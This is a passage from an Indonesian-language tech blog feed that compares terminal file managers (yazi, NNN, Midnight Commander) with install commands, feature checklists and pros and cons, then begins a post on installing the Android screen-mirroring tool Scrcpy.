&lt;/span&gt;&lt;span&gt;yazi&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Checklists&lt;a href=&quot;#checklists-2&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Berikut adalah hasil &lt;em&gt;benchmarking&lt;/em&gt;-nya:&lt;/p&gt;

















































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;No&lt;/th&gt;&lt;th&gt;Criteria&lt;/th&gt;&lt;th&gt;Checklist&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;1.&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Menampilkan Isi File (&lt;em&gt;Preview&lt;/em&gt;)&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;File Teks (.txt, .py, .nix, etc)&lt;/td&gt;&lt;td&gt;✅&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;File Gambar (.png, .jpg, .gif, etc)&lt;/td&gt;&lt;td&gt;✅&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;File Dokumen (.pdf, .docx, etc)&lt;/td&gt;&lt;td&gt;✅ pdf&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;2.&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Manajemen File &amp;amp; Direktori&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;Edit file&lt;/td&gt;&lt;td&gt;✅&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;Copy-paste&lt;/td&gt;&lt;td&gt;✅&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;Membuat/Menghapus/Mengubah Nama&lt;/td&gt;&lt;td&gt;✅&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Pros and Cons&lt;a href=&quot;#pros-and-cons-2&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Berikut adalah &lt;strong&gt;kelebihan&lt;/strong&gt; Yazi:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;&lt;em&gt;Interface&lt;/em&gt; (tampilan) yang sederhana dan mudah dipahami.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Keybinding&lt;/em&gt; (&lt;em&gt;shortcut&lt;/em&gt;) yang juga mudah diingat.&lt;/li&gt;
&lt;li&gt;Dapat menampilkan banyak tipe file.&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Berikut adalah &lt;strong&gt;kekurangan&lt;/strong&gt; Yazi:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Belum tersedia di repositori distro Debian/Ubuntu &amp;amp; Fedora.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;NOTE&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Ada 2 terminal &lt;em&gt;file manager&lt;/em&gt; lagi yang sebetulnya mirip &lt;strong&gt;&lt;code&gt;yazi&lt;/code&gt;&lt;/strong&gt; secara tampilan, yaitu &lt;code&gt;ranger&lt;/code&gt; &amp;amp; &lt;code&gt;lf&lt;/code&gt;. Jadi, karena mirip, saya hanya akan mencantumkan gambarnya saja di sini:&lt;/p&gt;












&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;strong&gt;&lt;code&gt;ranger&lt;/code&gt;&lt;/strong&gt;&lt;/th&gt;&lt;th&gt;&lt;strong&gt;&lt;code&gt;lf&lt;/code&gt;&lt;/strong&gt;&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;figure&gt;&lt;img alt=&quot;ranger&quot; title=&quot;ranger&quot; loading=&quot;lazy&quot; width=&quot;713&quot; height=&quot;467&quot; src=&quot;/_astro/ranger.D88BFADy_Z1CXw5L.webp&quot; /&gt;&lt;figcaption&gt;ranger&lt;/figcaption&gt;&lt;/figure&gt;&lt;/td&gt;&lt;td&gt;&lt;figure&gt;&lt;img alt=&quot;ranger&quot; title=&quot;lf&quot; loading=&quot;lazy&quot; width=&quot;713&quot; height=&quot;467&quot; src=&quot;/_astro/lf.BNnoC5DC_YYn7V.webp&quot; /&gt;&lt;figcaption&gt;ranger&lt;/figcaption&gt;&lt;/figure&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;4. NNN&lt;a href=&quot;#4-nnn&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;NNN&quot; loading=&quot;lazy&quot; width=&quot;713&quot; height=&quot;467&quot; src=&quot;/_astro/ss4.DfQv9oZ0_1wjply.webp&quot; /&gt;&lt;figcaption&gt;NNN&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Berikut adalah &lt;em&gt;repository&lt;/em&gt; Github-nya:&lt;/p&gt;&lt;a href=&quot;https://github.com/jarun/nnn&quot; target=&quot;_blank&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;jarun&lt;/div&gt;&lt;/div&gt;&lt;div&gt;/&lt;/div&gt;&lt;div&gt;nnn&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;Waiting for api.github.com...&lt;/div&gt;&lt;div&gt;&lt;div&gt;00K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;span&gt;Waiting...&lt;/span&gt;&lt;/div&gt;&lt;/a&gt;&lt;section&gt;&lt;h4&gt;Installation&lt;a href=&quot;#installation-3&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Berikut adalah cara memasangnya di masing-masing distro Linux:&lt;/p&gt;
























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Distro&lt;/th&gt;&lt;th&gt;Command&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Debian/Ubuntu&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo apt install nnn&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Arch Linux&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo pacman -Sy nnn&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Opensuse&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo zypper install nnn&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Fedora&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo dnf install nnn&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;NOTE&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;strong&gt;NixOS:&lt;/strong&gt;&lt;br /&gt;
Masukkan baris berikut di file konfigurasi (&lt;code&gt;/etc/nixos/configuration.nix&lt;/code&gt;):&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;environment&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;systemPackages&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pkgs&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;nnn&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Atau jika menggunakan &lt;code&gt;nix-shell&lt;/code&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;nix-shell&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-p&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;nnn&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Checklists&lt;a href=&quot;#checklists-3&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Berikut adalah hasil &lt;em&gt;benchmarking&lt;/em&gt;-nya:&lt;/p&gt;

















































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;No&lt;/th&gt;&lt;th&gt;Criteria&lt;/th&gt;&lt;th&gt;Checklist&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;1.&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Menampilkan Isi File (&lt;em&gt;Preview&lt;/em&gt;)&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;File Teks (.txt, .py, .nix, etc)&lt;/td&gt;&lt;td&gt;❌&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;File Gambar (.png, .jpg, .gif, etc)&lt;/td&gt;&lt;td&gt;❌&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;File Dokumen (.pdf, .docx, etc)&lt;/td&gt;&lt;td&gt;❌&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;2.&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Manajemen File &amp;amp; Direktori&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;Edit file&lt;/td&gt;&lt;td&gt;✅&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;Copy-paste&lt;/td&gt;&lt;td&gt;✅&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;Membuat/Menghapus/Mengubah Nama&lt;/td&gt;&lt;td&gt;✅&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Pros and Cons&lt;a href=&quot;#pros-and-cons-3&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Berikut adalah &lt;strong&gt;kelebihan&lt;/strong&gt; NNN:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;&lt;em&gt;Interface&lt;/em&gt; (tampilan) yang sederhana.&lt;/li&gt;
&lt;li&gt;Punya banyak plugin, bahkan bisa dikonfigurasi dengan file editor seperti &lt;code&gt;vim&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Berikut adalah &lt;strong&gt;kekurangan&lt;/strong&gt; NNN:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;&lt;em&gt;Interface&lt;/em&gt; (tampilan) yang sangat sederhana, mirip &lt;strong&gt;&lt;code&gt;clifm&lt;/code&gt;&lt;/strong&gt;, namun lebih sederhana lagi.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Keybinding&lt;/em&gt; (&lt;em&gt;shortcut&lt;/em&gt;) yang tidak familiar.&lt;/li&gt;
&lt;li&gt;Perlu konfigurasi manual agar lebih estetik dan &lt;em&gt;functional&lt;/em&gt;.&lt;/li&gt;
&lt;/ol&gt;&lt;/section&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;5. MC&lt;a href=&quot;#5-mc&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Midnight Commander (MC)&quot; loading=&quot;lazy&quot; width=&quot;713&quot; height=&quot;467&quot; src=&quot;/_astro/ss5.CBSpFER0_Z1qebLi.webp&quot; /&gt;&lt;figcaption&gt;Midnight Commander (MC)&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Berikut adalah &lt;em&gt;repository&lt;/em&gt; Github-nya:&lt;/p&gt;&lt;a href=&quot;https://github.com/MidnightCommander/mc&quot; target=&quot;_blank&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;MidnightCommander&lt;/div&gt;&lt;/div&gt;&lt;div&gt;/&lt;/div&gt;&lt;div&gt;mc&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;Waiting for api.github.com...&lt;/div&gt;&lt;div&gt;&lt;div&gt;00K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;span&gt;Waiting...&lt;/span&gt;&lt;/div&gt;&lt;/a&gt;&lt;section&gt;&lt;h4&gt;Installation&lt;a href=&quot;#installation-4&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Berikut adalah cara memasangnya di masing-masing distro Linux:&lt;/p&gt;




















&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Distro&lt;/th&gt;&lt;th&gt;Command&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Debian/Ubuntu&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo apt install mc&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Arch Linux&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo pacman -Sy mc&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Fedora&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo dnf install mc&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;blockquote&gt;&lt;p&gt;OpenSuse belum memiliki paket &lt;code&gt;mc&lt;/code&gt; di repositorinya, jadi, bisa di-install via &lt;a href=&quot;https://snapcraft.io/mc-pasman&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;Snap&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;NOTE&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;strong&gt;NixOS:&lt;/strong&gt;&lt;br /&gt;
Masukkan baris berikut di file konfigurasi (&lt;code&gt;/etc/nixos/configuration.nix&lt;/code&gt;):&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;environment&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;systemPackages&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pkgs&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;mc&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Atau jika menggunakan &lt;code&gt;nix-shell&lt;/code&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;nix-shell&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-p&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;mc&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Checklists&lt;a href=&quot;#checklists-4&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Berikut adalah hasil &lt;em&gt;benchmarking&lt;/em&gt;-nya:&lt;/p&gt;

















































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;No&lt;/th&gt;&lt;th&gt;Criteria&lt;/th&gt;&lt;th&gt;Checklist&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;1.&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Menampilkan Isi File (&lt;em&gt;Preview&lt;/em&gt;)&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;File Teks (.txt, .py, .nix, etc)&lt;/td&gt;&lt;td&gt;✅&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;File Gambar (.png, .jpg, .gif, etc)&lt;/td&gt;&lt;td&gt;❌&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;File Dokumen (.pdf, .docx, etc)&lt;/td&gt;&lt;td&gt;❌&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;2.&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Manajemen File &amp;amp; Direktori&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;Edit file&lt;/td&gt;&lt;td&gt;✅&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;Copy-paste&lt;/td&gt;&lt;td&gt;✅&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;Membuat/Menghapus/Mengubah Nama&lt;/td&gt;&lt;td&gt;✅&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Pros and Cons&lt;a href=&quot;#pros-and-cons-4&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Berikut adalah &lt;strong&gt;kelebihan&lt;/strong&gt; Midnight Commander:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;&lt;em&gt;Interface&lt;/em&gt; (tampilan) yang semi &lt;a href=&quot;https://www.merriam-webster.com/dictionary/retro&quot; target=&quot;_blank&quot;&gt;retro&lt;/a&gt;, tapi familiar.&lt;/li&gt;
&lt;li&gt;Punya banyak tema warna.&lt;/li&gt;
&lt;li&gt;Banyak opsi dan konfigurasi.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Keybinding&lt;/em&gt; (&lt;em&gt;shortcut&lt;/em&gt;) yang mudah diingat.&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Berikut adalah &lt;strong&gt;kekurangan&lt;/strong&gt; Midnight Commander:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Belum tersedia di semua distro Linux (OpenSuse terutama).&lt;/li&gt;
&lt;li&gt;Tidak dapat menampilkan (&lt;em&gt;preview&lt;/em&gt;) file gambar dan dokumen.&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Pertanyaanya, &lt;strong&gt;“Mana terminal file manager yang paling baik (bagus)?”&lt;/strong&gt;&lt;br /&gt;
Jawabannya, &lt;strong&gt;“Yang paling sesuai dengan kebutuhan masing-masing.”&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;😁😆😅😎&lt;/p&gt;&lt;p&gt;Sekian.&lt;br /&gt;
Semoga bermanfaat.&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;</content:encoded></item><item><title>Scrcpy: Open Source Tool for Mirroring Your Android Devices</title><link>https://shangdi.github.io/posts/tech/scrcpy/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/scrcpy/</guid><description>Mirroring your android devices can never be this easy with open source tool: Scrcpy</description><pubDate>Wed, 18 Jun 2025 02:21:08 GMT</pubDate><content:encoded>&lt;p&gt;Pernahkah kalian melihat youtuber game online android di Youtube, tapi menggunakan kursor seperti sedang berada di komputer atau laptop? Misalnya, seperti salah satu game dari Moonton, &lt;a href=&quot;https://play.mc-gogo.com/&quot; target=&quot;_blank&quot;&gt;“Magic Chess Go Go (MCGG)”&lt;/a&gt; yang dimainkan oleh salah satu youtuber, &lt;a href=&quot;https://www.youtube.com/@bassklemens&quot; target=&quot;_blank&quot;&gt;Bass Klemens&lt;/a&gt;?&lt;/p&gt;
&lt;p&gt;Kemungkinan besar, &lt;em&gt;streamer&lt;/em&gt; atau youtuber game online android tersebut menggunakan teknologi &lt;em&gt;screen mirroring&lt;/em&gt;, agar perangkat androidnya dapat tampil dan dikontrol melalui PC (&lt;em&gt;Personal Computer&lt;/em&gt;). Sebetulnya, ada banyak aplikasi yang dapat digunakan untuk melakukan &lt;em&gt;screen mirroring&lt;/em&gt;, salah satunya adalah &lt;a href=&quot;https://github.com/Genymobile/scrcpy&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;Scrcpy&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;a href=&quot;https://github.com/Genymobile/scrcpy&quot; target=&quot;_blank&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;Genymobile&lt;/div&gt;&lt;/div&gt;&lt;div&gt;/&lt;/div&gt;&lt;div&gt;scrcpy&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;Waiting for api.github.com...&lt;/div&gt;&lt;div&gt;&lt;div&gt;00K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;span&gt;Waiting...&lt;/span&gt;&lt;/div&gt;&lt;/a&gt;
&lt;p&gt;&lt;strong&gt;Scrcpy&lt;/strong&gt; adalah salah satu aplikasi &lt;em&gt;mirroring&lt;/em&gt; perangkat android (baik video maupun audio) melalui USB atau bahkan &lt;em&gt;wireless&lt;/em&gt; (TCP/IP) dan memungkinkan kita mengontrolnya melalui &lt;em&gt;mouse&lt;/em&gt; dan &lt;em&gt;keyboard&lt;/em&gt; di komputer. Uniknya, &lt;em&gt;software&lt;/em&gt; ini tidak memerlukan akses root atau instalasi aplikasi lagi pada perangkat androidnya. Scrcpy juga dapat digunakan di 3 sistem operasi desktop populer, seperti Linux, Windows, dan Mac.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;Disclaimer!&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Satu-satunya sumber resmi Scrcpy adalah repository Github yang tertera di atas. Jangan men-&lt;em&gt;download&lt;/em&gt; Scrcpy dari website apapun, meskipun mengandung kata “scrcpy” pada &lt;em&gt;domain&lt;/em&gt;-nya!&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;section&gt;&lt;h2&gt;Installation&lt;a href=&quot;#installation&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Berikut adalah instalasi Scrcpy di sistem operasi desktop kita:&lt;/p&gt;




















&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Distro&lt;/th&gt;&lt;th&gt;Command&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Debian/Ubuntu&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo apt install scrcpy android-tools&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Arch Linux&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo pacman -Sy scrcpy android-tools&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Opensuse&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo zypper install scrcpy android-tools&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;Untuk distro &lt;strong&gt;Fedora&lt;/strong&gt;, kita dapat meng-&lt;em&gt;install&lt;/em&gt; Scrcpy dari &lt;a href=&quot;https://snapcraft.io/scrcpy&quot; 